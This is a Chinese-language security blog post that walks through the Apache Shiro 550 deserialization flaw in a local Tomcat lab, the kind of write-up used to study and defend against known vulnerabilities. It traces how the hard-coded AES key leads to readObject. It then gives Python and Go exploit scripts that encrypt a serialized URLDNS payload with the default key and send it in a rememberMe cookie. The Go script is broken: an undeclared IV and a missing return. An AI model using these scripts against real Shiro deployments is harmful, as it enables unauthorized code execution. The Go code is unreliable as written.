JavaSec
前言
shiro550 漏洞产生的根本原因:固定 key 硬编码加密
漏洞影响版本:Shiro <= 1.2.4
漏洞搭建环境: 没有用p牛的docker靶场,选择自己本地搭一下,但是用到了p神的仓库(yyds).
搭建细节: Tomcat 指定url为: http://localhost:8080/shirodemo_war/

然后出现以下页面就算成功
账号的配置信息:

漏洞产生的原因: shiro 低于1.2.4版本的key相当于固定且通用,所以可以通过这个key构造恶意的cookie进行反序列化…
如何构造恶意数据
分析下为何能反序列化攻击:
来到shiro依赖的getRememberedSerializedIdentity方法,映入眼帘的就是这个固定密钥


然后在convertBytesToPrincipals中调用了上面的decrypt方法拿到序列化的数据并且进行了deserialize方法进行反序列化操作.
然后到deserialize,可以看到是一个接口
查看它的实现方法,就可以看到关键的readObject方法啦,接下来的事情就好办很多了~

分析shiro的aes加密方式,利用固定密钥构造恶意数据
[前提]
因为shiro使用的aes是对称加密,因此密钥用来加密同时也用来解密,这是我们伪造数据的前提.
AES加密调用栈: ps:下断点的时候记得给出正确的鉴权账户和密码才会返回cookie进而会走入aes加密流程,不要随便输账号密码…

利用
URLDNS 利用
生成反序列化恶意数据:
这里用yakit里的yso-java-hack,填好域名或要执行的命令即可生成恶意的反序列化数据,记得将其hex下载文件的形式保存,不要手动去copy到文件中去

Python EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92
| from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES
import requests
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
def send_data(data):
url='http://localhost:8080/shirodemo_war/'
header={
"Cookie":'rememberMe='+data.decode()
}
resp=requests.get(url,headers=header)
if __name__ == "__main__":
data = get_file_data("hex-dnslog-URLDNS")
send_data(aes_enc(data))
|
Go EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package main import ( "bytes" "crypto/aes" "crypto/cipher" "crypto/rand" "encoding/base64" "fmt" "io" "net/http" "os")
func pkcs7Padding(src []byte, blockSize int) []byte { padding := blockSize - len(src)%blockSize padText := bytes.Repeat([]byte{byte(padding)}, padding) return append(src, padText...) }
func encryptShiroCompatible(plaintext, key []byte) ([]byte, error) { block, err := aes.NewCipher(key) if err != nil { return nil, err } blockSize := block.BlockSize() plaintext = pkcs7Padding(plaintext, blockSize) if _, err := io.ReadFull(rand.Reader, iv); err != nil { return nil, err } mode := cipher.NewCBCEncrypter(block, iv) encrypted := make([]byte, len(plaintext)) mode.CryptBlocks(encrypted, plaintext) } func sendData(data string) { url := "http://localhost:8080/shirodemo_war/" req, _ := http.NewRequest("GET", url, nil) req.Header.Set("Cookie", "rememberMe="+data) client := &http.Client{} _, _ = client.Do(req) } func main() { keyBase64 := "kPH+bIxk5D2deZiIxcaaaA==" key, _ := base64.StdEncoding.DecodeString(keyBase64) data, err := os.ReadFile("hex-dnslog-URLDNS") if err != nil { panic(err) } ciphertextWithIv, err := encryptShiroCompatible(data, key) if err != nil { panic(err) } rememberMe := base64.StdEncoding.EncodeToString(ciphertextWithIv) sendData(rememberMe) fmt.Println("rememberMe:", rememberMe) }
|
urldns 验证成功!
